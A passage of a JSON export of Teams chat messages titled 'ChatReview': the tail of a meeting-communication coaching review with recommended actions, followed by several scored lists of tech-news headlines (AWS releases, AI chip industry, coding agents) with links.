\\n**Transcript 09:49\u201310:00:** \u201cRemaining tasks are cleared\u201d followed by a\\nfragmented \u201cone, two \u2026 start \u2026\u201d instruction.  \\nThe meeting moved on before the owner, due date, and completion evidence were\\nstated.  \\n**Improve:** use a visible decision/action log throughout the call.\\n\\n  7. **LOW \u2014 Vague closing question.**  \\n**Transcript 32:22:** \u201cYou said that were doing it?\u201d  \\nThe close did not summarize decisions or invite targeted corrections.  \\n**Improve:** \u201cBefore we finish: here are the decisions, owners, and dates.\\nWhat did I miss?\u201d\\n\\n### Repeated Questions: Necessary vs. Unnecessary\\n\\n  * **Necessary:** **02:46** backend/service usage; **08:00\u201308:08** login testing; **18:08** pending bug list; **28:48\u201329:04** microphone/speech-correction verification. These reduce technical and delivery risk.\\n  * **Inefficient repetition \u2014 MEDIUM:** **01:08\u201301:52** generic \u201cwhat\u2019s clear?\u201d checks; **21:11\u201321:28** repeated table-use discussion without naming the exact data/decision; **25:20\u201325:56** repeated tap-behavior discussion without a written acceptance criterion.\\n\\n### Unclear Requests and Missed Opportunities\\n\\n  * **HIGH, 03:03:** missed the chance to request a structured feature-by-feature status report.\\n  * **HIGH, 18:37:** missed the chance to convert migration discussion into a checklist with validation and rollback criteria.\\n  * **MEDIUM, 09:49\u201310:00:** missed the chance to assign owners and dates before declaring tasks clear.\\n  * **MEDIUM, 25:20\u201325:56:** missed the chance to write one acceptance criterion and have the implementer read it back.\\n  * **LOW, 32:22:** missed the chance to close with decisions, actions, risks, and the next review date.\\n\\n### Likely Root Causes of Friction\\n\\n  * No visible agenda or shared status checklist.\\n  * Multiple questions and technical concepts combined in one sentence.\\n  * Heavy use of vague words such as \u201cthis,\u201d \u201cthat,\u201d \u201cit,\u201d and \u201cremaining\u201d without naming the component.\\n  * Too many topics\u2014architecture, bugs, UI, documentation, notifications, and referral work\u2014without timeboxing.\\n  * Decisions remained verbal instead of being converted immediately into acceptance criteria and owner/date actions.\\n\\n### Trend Across the 20 Prior Meetings\\n\\n**Improving:**\\n\\n  * The nearest prior client call showed better judgment: when source-code access was declined, the lead accepted the boundary, requested tester access and a scope document, and agreed on a quote-after-review process. The client remained cooperative.\\n  * Recent meetings increasingly captured technical decisions, blockers, staged-release/rollback thinking, and concrete action items.\\n  * The lead is improving at identifying dependencies before estimating and at prioritizing critical functionality over lower-value additions.\\n\\n**Still recurring:**\\n\\n  * **HIGH:** scope and timeline clarity. A prior March meeting also recorded that several tasks, scope, and timing remained unclear; the same pattern appears at 03:03 in the selected call.\\n  * **HIGH:** long explanations of high-risk technical changes without a short recommendation and decision recap. This appeared in both a prior production-launch discussion and the selected architecture discussion.\\n  * **MEDIUM:** repeated access/dependency clarification. Often necessary, but much of it could be handled by a pre-meeting artifact checklist.\\n  * **MEDIUM:** reliance on verbal requirements. Multiple prior meetings called for tickets, documentation, or more detailed requirements, and the selected meeting still required a missing architecture document.\\n\\n**Trend confidence: Medium.** Three meetings were reviewed from full\\ntranscripts; the other 18 historical meetings were compared through their\\nFathom summaries/action items because the connector limits full-transcript\\nretrieval to three per review.\\n\\n### Recommended Actions\\n\\n  1. **P0 \u2014 Use a 60-second opening:** purpose, three required outcomes, agenda, and end time.\\n  2. **P0 \u2014 Use one status template:** component | done | remaining | blocker | owner | due date | proof.\\n  3. **P0 \u2014 Close every topic:** \u201cDecision / Owner / Due date / Acceptance test.\u201d Ask the owner to read it back.\\n  4. **P1 \u2014 Use simpler English patterns:** one question per sentence; name the component; avoid \u201cthis/that/it\u201d when several items are being discussed.\\n  5. **P1 \u2014 Explain risks in five lines:** risk, cause, impact, options, recommendation.\\n  6. **P1 \u2014 End with a two-minute recap:** decisions, actions, unresolved risks, and next review date.\\n  7. **P2 \u2014 Measure the next five meetings:** number of repeated clarifications, actions with owner/date, unresolved decisions, and client corrections.\\n\\n**Scoring rubric:** 1\u20133 Poor | 4\u20136 Needs Improvement | 7\u20138 Good | 9\u201310 Excellent\",\n>       \"created_at\": \"2026-06-19T11:27:31.23Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868451230?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863296933\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863296933\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863296933?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 10/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Route 53 DNS Firewall integrates Palo Alto threat protection](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-route-53-resolver-dns/)** \u2014 **Score: 31/35.** Route 53 Resolver DNS Firewall can preview Palo Alto Networks threat intelligence, adding another managed control against malicious domains.\\n  2. **[Microsoft fixes failed Windows Server 2016 security updates](https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-windows-server-2016-security-update-failures/)** \u2014 **Score: 30/35.** Microsoft fixed a problem that caused June security updates to fail on Windows Server 2016 systems that were missing earlier servicing updates.\\n  3. **[Amazon RDS adds Graviton5 M9g database instances](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-rds-postgresql-mysql-mariadb-m9g-instances/)** \u2014 **Score: 30/35.** RDS now offers Graviton5 M9g instances for PostgreSQL, MySQL and MariaDB, claiming up to 30% higher performance and 23% better price-performance.\\n  4. **[CloudWatch centralizes metrics across accounts and regions](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-cross-account-metrics-centralization)** \u2014 **Score: 30/35.** CloudWatch can replicate metrics from multiple accounts and regions into one destination, simplifying enterprise observability and access management.\\n  5. **[AWS expands nested virtualization across Intel instances](https://aws.amazon.com/about-aws/whats-new/2026/06/nested-virtualization-intel-us-gov-cloud/)** \u2014 **Score: 30/35.** AWS expanded nested virtualization to more Intel instance families and GovCloud regions, supporting hypervisor, lab and appliance workloads.\\n  6. **[CloudWatch Query Studio reaches general availability](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-cloudwatch-query-studio-generally-available)** \u2014 **Score: 29/35.** CloudWatch Query Studio provides one interface for querying and visualizing metrics, reducing context switching during operations and incident analysis.\\n  7. **[CNCF program expands Arm64 testing for open-source projects](https://www.cncf.io/blog/2026/06/15/improving-arm64-support-in-cncf-projects-with-oci-credits/)** \u2014 **Score: 29/35.** CNCF is using OCI credits to improve Arm64 build and test coverage as Arm-based instances gain share across major cloud platforms.\\n  8. **[AWS improves EBS rightsizing with spike-aware metrics](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-compute-optimizer-enhances-ebs-recommendations/)** \u2014 **Score: 28/35.** Compute Optimizer now considers IOPS and throughput-exceeded signals when rightsizing EBS volumes, reducing performance risk from hidden spikes.\\n  9. **[Apple patches a high-severity Beats eavesdropping flaw](https://arstechnica.com/apple/2026/06/apple-patches-high-severity-eavesdropping-vulnerability-in-beats-studio-buds/)** \u2014 **Score: 27/35.** Apple patched a high-severity vulnerability affecting Beats Studio Buds that could enable eavesdropping; related hardware from multiple vendors is affected.\\n  10. **[GameLift improves container fleets for game servers](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-gamelift-servers-container-fleet-improvements)** \u2014 **Score: 27/35.** GameLift added container-fleet controls for deployment flexibility and inter-container communication, addressing common game-server operations issues.\",\n>       \"created_at\": \"2026-06-19T10:01:36.933Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863296933?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863295479\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863295479\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863295479?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 9/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AI demand broadens the chip boom across Asia](https://news.google.com/rss/articles/CBMihAFBVV95cUxONURodERCMFljMjMta0c1RFBGOUthaTEzQTZSQnNZLW1fUDA3dnRsQXhXdlpMTElweWZwQnl3MmVEcUNmajhLdHR5endwa3NLcW0ydmJOdThNdmEwOXM1TC1NY2pZTngwUVUxYUNQRU5relZIeTBkQlVpN3FZV2o2SFJvbTA?oc=5)** \u2014 **Score: 31/35.** AI demand is lifting chipmakers across Asia, broadening infrastructure exposure beyond Nvidia and reshaping regional semiconductor supply chains.\\n  2. **[Coherent expands the optical backbone for AI systems in Texas](https://blogs.nvidia.com/blog/coherent-texas-ai-optical/)** \u2014 **Score: 31/35.** Coherent broke ground on a larger Texas facility for lasers and optical components that connect dense AI systems and data-center networks.\\n  3. **[JX Advanced Metals expands optical-wafer capacity for AI data centers](https://news.google.com/rss/articles/CBMivwFBVV95cUxNR3Q0MzVDd1dXVGs4bFI0MGphNGQ2X195TXdzNTYyNG9jbFEwQzFnUklCd2xlQmxwSUFYemlld193Q2pWcW02S3FMV1JHLUQwcUs3dWhkYjFuLS1CVHRzR1R0cTZwUVNTd3QzNHJMY1A3VUdVUDBUd1Rjem9VX2FUNlFTMDVWUXFWaDNvaGJHUFI0cHNBZWNrN1hJUm5obXA5clk2U04xZC1hSE5mcnpPYXkxd0k2VmU4Zmk2d2JrTQ?oc=5)** \u2014 **Score: 31/35.** JX Advanced Metals plans more optical-chip wafer capacity as AI clusters drive demand for high-bandwidth interconnects.\\n  4. **[SK Hynix ships samples of next-generation HBM4E memory](https://news.google.com/rss/articles/CBMiuAFBVV95cUxOOWEzYzZRcVFwWVZqS3JYakY4azZJLVVqenRtSm1mSEs2Rm1zVHNkWUxMS1paWHRmdzFlbVRWZmRwckdRN2JhS2JudnRURTBWWlg2WTFKaUprVnNmb3Fsd0R4bnNCX0F0YzZsTHRTd3pqRnJjV2RNYTZCMDdFNl9NeU9vcTFhS1JTQmFZS2RYbHQtLWlFZjg1TFBkaWVpTFJJUXdrQk9ONFB2dUdhcWVVT2NTTURxdzVY?oc=5)** \u2014 **Score: 30/35.** SK Hynix began shipping HBM4E samples, advancing the high-bandwidth memory supply needed for the next generation of AI accelerators.\\n  5. **[US CHIPS award backs SandboxAQ materials discovery](https://news.google.com/rss/articles/CBMifEFVX3lxTE9NYm5qMGZpTm4zY0J5bU4wYkpvUVJETmZVemllZFpwNi1Wc19ZZ3JEYTB1SlRBUTZpa29mSTFKQzFiUjRYcjJxclN5MlZZZTRVRDh5cFg3NC1kbURFV3AtQ1EzdkRJSjNTcDgtYnAxaDAxMWpmdlhhZGFhYl8?oc=5)** \u2014 **Score: 30/35.** A $500 million CHIPS award will support SandboxAQ\u2019s AI-driven materials work, connecting model-assisted discovery with domestic semiconductor capacity.\\n  6. **[Apple warns device prices will rise with memory costs](https://news.google.com/rss/articles/CBMiWkFVX3lxTFBHMUFiLVBVQVhqRlhQSW5qRFU3aTFTcEt3YXBIaG5vejVBNmlvNVBqc2ZoMHppUEU0Wk1yTllLQl9OSDNTeTZJUlAwU3RHTHpfaWVqUWp4d1dWdw?oc=5)** \u2014 **Score: 29/35.** Tim Cook says Apple device prices will rise as AI demand pushes memory-chip costs higher, showing the AI boom\u2019s spillover into consumer hardware.\\n  7. **[Researchers combine sensing, memory and processing for AI devices](https://news.google.com/rss/articles/CBMi5wJBVV95cUxOV3dLSXhwanhHUjR4UEVfc0tGZnJaMkpXZS04elBiMDhGX19VQ0ViQTJoZWVvNkRaeWRmSTlsa2pMeTVHcDItdWtYaDBMYlJPdWxkTk82TUUxamFzYk1mR21uelNFNk91RjluS3lqeHNkRGpqVlYxTTlxdmtiTnJ6UVpoS2FMUldBS3M3WWZMSDZRRjJDYlFOZzExM1ZBQWlOY1RHNnFtRUxjVVJWbzBVbUdUcHRkSTJxUTFyRWpuT0xGemh4dGxqZk14VldEQWhzeXo1OXQzOTQybk1iS1B0LW50RU9aVjQ4ZXJRdGFFdUdhOUE0UUREOWRMQmVUTjktRDk0Y3U1VDVXenNVOHo2bDRUZnFlc1Z4dTBUenFaMVpyc256a1A2NHEyOGhIRWwyRTBZOXl1QzBubXp1NVpldF9zTllObXdqOUZaTm1KbDBRZGtHTHdOZXlMOWhLc0VVVFBRT0Z4OA?oc=5)** \u2014 **Score: 29/35.** A brain-inspired phototransistor combines light sensing, memory and processing, aiming to reduce data movement and energy use in edge AI sensors.\\n  8. **[AI-assisted process targets next-generation 2D chips](https://news.google.com/rss/articles/CBMiV0FVX3lxTFBvNnBkTTZUVkVHQnpMR0puLW5hM0VpUDZRUklDb2RUNzVxOGxCUzRUQ1FTeGdVZlI3WC03bjZFcVUzY0pabllUaVl5SEpUSlpadFV4dG0zNNIBV0FVX3lxTFBvNnBkTTZUVkVHQnpMR0puLW5hM0VpUDZRUklDb2RUNzVxOGxCUzRUQ1FTeGdVZlI3WC03bjZFcVUzY0pabllUaVl5SEpUSlpadFV4dG0zNA?oc=5)** \u2014 **Score: 29/35.** Korean researchers developed an AI-assisted process for next-generation 2D chips, targeting more efficient materials and fabrication workflows.\\n  9. **[Nvidia says AI infrastructure will expand manufacturing jobs](https://news.google.com/rss/articles/CBMiqAFBVV95cUxNakpBMVhhLVBxTHFXTjFwZGd5b1JDVjFaLUlqZXJmaW5TbC05N0ZuYUI5YjBoX2hlcGVKYURQOENIU25HOHN2T1lZYkxZdm5uN29kcWFmaGxGRkl1cVpJY1FYdXlMdldXSE9GbHJUVHJDUHRXdmlzNjFrbFkyeHBkQmpFUFQ3eElCVW9RMDhISWxtOGlXV3FlOEstR3VEY25iRjVrT29naTjSAa4BQVVfeXFMTXZOSjM2X0VTUVJocmRJWFpFMFZCSjMySFBjZjF3cTFaRTRkSW41cGlJbk90djV5ZFl6Ui1xWXpFOHBCOEIwRWNYQWhTMkJxMGowWElpZkQwZF9VdTVHN3ZxV1d4YkpwWU44b2FuLUxpVlZyejZ3SC1tS2tnZXJUTEEzZko4TEs5cWZwTlpEQWp4d2VhTVowOHZVZTJ6OEZuVTY5SnJhMFQ5TjhyUEt3?oc=5)** \u2014 **Score: 29/35.** Jensen Huang says AI infrastructure will create manufacturing jobs, with new Texas investments providing an early test of that claim.\\n  10. **[Tencent-backed Enflame moves toward an AI-chip IPO](https://news.google.com/rss/articles/CBMitAFBVV95cUxQR29hd1R5b1k3XzZwN084WkEzTXp6LXRkdGJVaWJIREZ1OGg4QW96alh0V0cxUHZ5dEREOEJQTUhBSTk1X2pHTzFjWFpUN0ZadTZ0NVpLOHUzU0tQRk9NMGlVN3JPMFkwTlZEMVJxX2lhWHJFYTlqWnNWSm5xelh6WjZpeWtUblk0a21EUDJBaDgwWFkzcENvalNEMFpQZUJJbnFqWW9tQ0x2LUFoSDdzWVBRNkI?oc=5)** \u2014 **Score: 29/35.** Enflame is heading toward an IPO as Chinese AI-chip companies seek capital to expand domestic accelerator capacity and reduce foreign dependence.\",\n>       \"created_at\": \"2026-06-19T10:01:35.479Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863295479?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863294467\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863294467\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863294467?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 8/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS DevOps Agent adds custom SRE agents and MCP/A2A access](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-devops-agent-custom-agents/)** \u2014 **Score: 33/35.** AWS DevOps Agent now supports custom SRE sub-agents plus headless MCP and A2A access for automating recurring reliability workflows.\\n  2. **[GitHub makes Copilot CLI more selective about delegation](https://github.blog/ai-and-ml/how-we-made-github-copilot-cli-more-selective-about-delegation/)** \u2014 **Score: 32/35.** GitHub changed Copilot CLI orchestration to reduce unnecessary handoffs, aiming for faster task completion without adding user-facing controls.\\n  3. **[Microsoft explains conflicts between coding-agent extensions](https://devblogs.microsoft.com/blog/when-your-agent-extensions-fight-each-other)** \u2014 **Score: 32/35.** Microsoft examines how overlapping agent extensions compete for context and instructions, and how teams can design integrations that cooperate reliably.\\n  4. **[Kimi K2.7-Code targets token-efficient agentic development](https://news.google.com/rss/articles/CBMilAFBVV95cUxOWWJ2UGhCZWVFR2xEc2c4UWxGc3M2bTVKTk4xR0tvQUJwUnJBRmNDR3lEN2lxTVZvakNudjlLOHE5d2hKZXM0OUMtVUZMaW1MSndZbUFSbUVNQVJDSVFQUnFtbzFuRkVYOUFFMmZ6TmdwRjJFN19yQXN5Z2Y0Uk5URi1jU0dsNFRtNDdZV01HbmJnTXVx?oc=5)** \u2014 **Score: 31/35.** Moonshot AI\u2019s Kimi K2.7-Code focuses on token-efficient coding-agent work, adding another option for teams balancing capability, latency and cost.\\n  5. **[Microsoft warns against overloading coding-agent skills](https://devblogs.microsoft.com/blog/stop-overloading-your-skills)** \u2014 **Score: 31/35.** Microsoft argues that oversized agent skills waste tokens and dilute instructions; smaller, task-specific context can improve coding-agent reliability.\\n  6. **[GitHits funds open-source code search for coding agents](https://news.google.com/rss/articles/CBMi2wFBVV95cUxQYmtlYVg2M3FfWUlxV1gtV1p1U3o0dkp5ZmlPOWM3LVl6RU1GdFFKNWMydkxRbkZVS0dscmpLZFRWQm9yYlh0SWdSNy1iUGppM01wMnJZXzJnSzV6WTl2NS1zSnh0WlBMUHNnT0Z1YnBBWTJtYVZuNWF2SFdXNXhSNlVTOWZsV2hZdjM4MkJ5REZyLXZaY3FNU3VnRUdrMGxvQVRQbmZnWjJGYVY2cnVHcFN5alZLZXMxYzI2NEdxMFVEaWJVOEI4VGJHbVpqOS1VbHF2dWFsYmZEWlU?oc=5)** \u2014 **Score: 30/35.** GitHits raised $1.75 million to improve AI coding accuracy through open-source code search, targeting better retrieval and grounding for agents.\\n  7. **[CNCF details dependency lockdown for open-source CI/CD](https://www.cncf.io/blog/2026/06/12/securing-ci-cd-for-an-open-source-project-locking-down-dependencies/)** \u2014 **Score: 30/35.** CNCF\u2019s Cilium team explains how it locks dependencies and reduces supply-chain exposure across a high-volume open-source CI/CD pipeline.\\n  8. **[AWS Glue adds Spark Connect for interactive development](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-glue-interactive-sessions-spark-connect-smus-notebooks)** \u2014 **Score: 29/35.** Glue Interactive Sessions can now use Spark Connect from SageMaker Unified Studio or preferred notebook environments, simplifying remote Spark work.\\n  9. **[EXANTE launches \u20ac1 million fund for critical open source](https://news.google.com/rss/articles/CBMiowFBVV95cUxPQ0JDVE9yd09rejMzUk12UFlRT3FJQU5ZWExiNV9sajNqUTFjTXp1OTJ5cDBhbkYtYVAxbFFQV05BbmZhMHFBM1RsWWxyVEEtZFFTX3QtTTF2WjBRcWFiaENqVXNtT0QxQ20ybVlIQ0RiWC1QM1VGMHZKRndxNjVzMHd5MmRGeFB6NWJXYTFzak9rYTB5enFCQjNBZl9udUluQzhn?oc=5)** \u2014 **Score: 28/35.** EXANTE launched a \u20ac1 million fund for critical open-source infrastructure, adding private financing for maintainers of widely depended-on projects.\\n  10. **[GitHub promotes pull-request limits for maintainer overload](https://github.blog/open-source/maintainers/how-pull-request-limits-are-cutting-down-the-noise/)** \u2014 **Score: 28/35.** GitHub says repository pull-request limits can reduce maintainer noise and contribution overload, with additional controls planned on the roadmap.\",\n>       \"created_at\": \"2026-06-19T10:01:34.467Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863294467?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863293503\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863293503\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863293503?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 7/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS Transform previews automated FSx for ONTAP migration](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-transform-vmware-fsx-for-ontap-preview)** \u2014 **Score: 32/35.** AWS Transform previews migration of block-storage workloads from on-premises or cloud sources to FSx for ONTAP, broadening automated modernization.\\n  2. **[US Homeland Security awards AWS a $2.6 billion cloud contract](https://news.google.com/rss/articles/CBMilAFBVV95cUxPZUgxZ0hrd05pNGxaLVpRdjdFUWtyWXdzdWtWVzZ1NVZOeFNEY05Wa2R2NnphYnR4NGpCLU9HRnJ0cXYycWQtV1JVLUtGYV8xb0Q4X0tLT2VHaXo5ZnNuOFBsSFZ3T0w3cVBQODg5OTF3STI0MUhNeExXcW41VE5RWXVuT0Z6eVFJTjViWlNVSUtabG9q?oc=5)** \u2014 **Score: 31/35.** The US Department of Homeland Security awarded AWS a $2.6 billion cloud contract, a major public-sector adoption and infrastructure commitment.\\n  3. **[AWS Console Private Access works without internet connectivity](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-management-console-private/)** \u2014 **Score: 30/35.** Enterprises can now reach the AWS Management Console from private VPCs without internet access, strengthening administration for isolated environments.\\n  4. **[AWS extends managed MySQL 5.7 support through June 2029](https://aws.amazon.com/about-aws/whats-new/2026/06/rds-mysql-es-extension/)** \u2014 **Score: 29/35.** Aurora and RDS will support MySQL 5.7 through June 2029, giving teams two additional years to plan upgrades from the aging database release.\\n  5. **[Cloud-native and PyTorch conferences unite in China](https://news.google.com/rss/articles/CBMi1gFBVV95cUxOTUF3UFVYQm1ablY2Ny15RWVqN1MzWmV1LVczX3RnYjFoOUE3aTNsZEpydW05R2kxbGFvTndJSHJkX2ZRbXg4SGN1ZFhRS2hvYVVZRW5fMktSZkFyYnpiN04yWXBPYU5OUW9KLW9yLVNPSEdiRjVXXzgtekVUUE1QSEpIcHd6WXRjTUl4NnZNZTNwYkVETGlQeE1va2ZiM25xM01RNkFBQ1JPWGxlaG1vQmN5a0hhY29LSlNxLVVWZVRXc3MxNTZuczZtdGF2V2NDMU1aRGdB0gHWAUFVX3lxTE5NQXdQVVhCbVpuVjY3LXlFZWo3UzNaZXUtVzNfdGdiMWg5QTdpM2xkSnJ1bTlHaTFsYW9Od0lIcmRfZlFteDhIY3VkWFFLaG9hVVlFbl8yS1JmQXJiemI3TjJZcE9hTk5Rb0otb3ItU09IR2JGNVdfOC16RVRQTVBISkhwd3pZdGNNSXg2dk1lM3BiRURMaVB4TW9rZmIzbnEzTVE2QUFDUk9YbGVobW9CY3lrSGFjb0tKU3EtVVZlVFdzczE1Nm5zNm10YXZXY0MxTVpEZ0E?oc=5)** \u2014 **Score: 29/35.** KubeCon, OpenInfra Summit and the PyTorch Conference will unite in China, linking cloud-native infrastructure more directly with production AI stacks.\\n  6. **[NDAA proposal would codify CISA\u2019s vulnerability-program role](https://news.google.com/rss/articles/CBMixwFBVV95cUxQVGRpRzlwaFhhdnNJcnBtREYtUGR2a3ZYUU13bzZFbEJNcWsyakU1M2d6VUZmMkFITV9IMmVNZ0xPdl9hRzVlcFNGRXJyWktsTWJkQ0Z6RWUxc2xfbHRYelZyOEM4X0tWWmtmd09WVVJ5aGxqTzRQTHdpSnAwMHN4UHR5Z2gyb0plRUo5R2JCeUVMc240eG9PbjRFZU1DMURfVjlEcS1MTU1GWFhIRm9wZzg5UHI2aXFpYWVXU0N5UjQ4dGxLMENr?oc=5)** \u2014 **Score: 28/35.** A proposed NDAA amendment would formalize CISA\u2019s role in a federal vulnerability program, potentially strengthening long-term authority and funding.\\n  7. **[Microsoft faces shareholder suit over AI spending and cloud disclosures](https://news.google.com/rss/articles/CBMiqwFBVV95cUxNUmJQUkh0dTUzZ2dITlpFWVp1ZGp4d0t2T3RYNHZMTVVra042ZVNYTk94R1dKdjM2cU0yWTh5cXNCVlVHTkFXRDFiT3ptRnNPeDUteGR1RDV5eWVoS3M4NFJsNDVpcHlVTVluQWViLUI0a29XR0JOaERIUXZnUTJ2V2VXSWs4MFBzMlFUR2NGNHJRcEFjUWptTU84dEZ2UllET0NWX2hsTDgwRDQ?oc=5)** \u2014 **Score: 28/35.** Microsoft shareholders sued over disclosures around AI spending and cloud performance, highlighting governance pressure on hyperscaler investment.\\n  8. **[Alibaba Cloud expands in France amid sovereignty pressure](https://news.google.com/rss/articles/CBMixwFBVV95cUxNRWt4YVIzc3JfTTVSQkc1c1hUQktrNVpxRk9WbDU5cnlwMVVRanZvdlVTaDhPYkJVXzB4bmVGUDFtVE5XaVA3UUQ3dGR1aTJ6bWNHS2NDMXNlYVJBMWFJekc2czNrX25WM2M5Q0pqZG1rSnViQjkwSk5RdEkyX3BlMThPd3AtSW5Cd3BLYmp3SVJSd1dMU1hBVHpQQzBpb3J4M3ctRXlPWGp1dFlpOEJaOG1QdTU3a1NoOWxZTWdmMnEtNmFHUUNR0gHHAUFVX3lxTE1YUHlGUUZZd3BmLXFfVHpWY2ZKZGNPR3Q5MUZuZ09iTU5IZVpack9lN2Fud2FhRUd5WElYc3lUMjJncjlfN0h5eWxjWDhpMHZMbzJyQzlvRm9JTlBaa252dnUwcExlSUwtTHFCUld1M0Q1N3VZc19xYmlLVk9GaWcxb2h1RThBREpvNEMtdHlXb0g5YnVCLS1iRHRHcThyNjdROV9KSEx3VGw1Y2xZX0kySzBJT0RBdi1YQWlNQzNSLVJ1T0o1SEE?oc=5)** \u2014 **Score: 28/35.** Alibaba Cloud is expanding in France as European buyers scrutinize data residency and sovereignty, intensifying competition for regional cloud workloads.\\n  9. **[AWS opens a Local Zone in Hanoi](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-local-zones-hanoi-vietnam/)** \u2014 **Score: 27/35.** AWS opened a Local Zone in Hanoi to reduce latency for Vietnamese workloads and bring compute and storage closer to local users.\\n  10. **[Researchers turn retired smartphones into a mini cloud](https://news.google.com/rss/articles/CBMivwFBVV95cUxPRnE0ZVFnbXFZbnJZSEhVclNQS0RpMFRVQ181Ym05OUhxREM1NGpMY3B0NVozZzd0SGpnTUdHSzRuajBpTUhyeXZSY3NRN09LbFMtWmxJY1VCUkN4Y21tN2VPMUU0WFRuWl81eV9wd2lMcERQVERacEJfUlRFQ1J1b3kxcDA2YVV4a2pjVG9qTGJ3RUszeGxBOVpMNmVrTmExaEJrRURZaWJkV0dqUHBXeWF3RnhIVTc0ZlVnMlpDMA?oc=5)** \u2014 **Score: 24/35.** Researchers combined discarded smartphones into a small cloud-computing platform, exploring lower-cost, reusable edge infrastructure.\",\n>       \"created_at\": \"2026-06-19T10:01:33.503Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863293503?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863292556\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863292556\",\n>       \"web_link\": 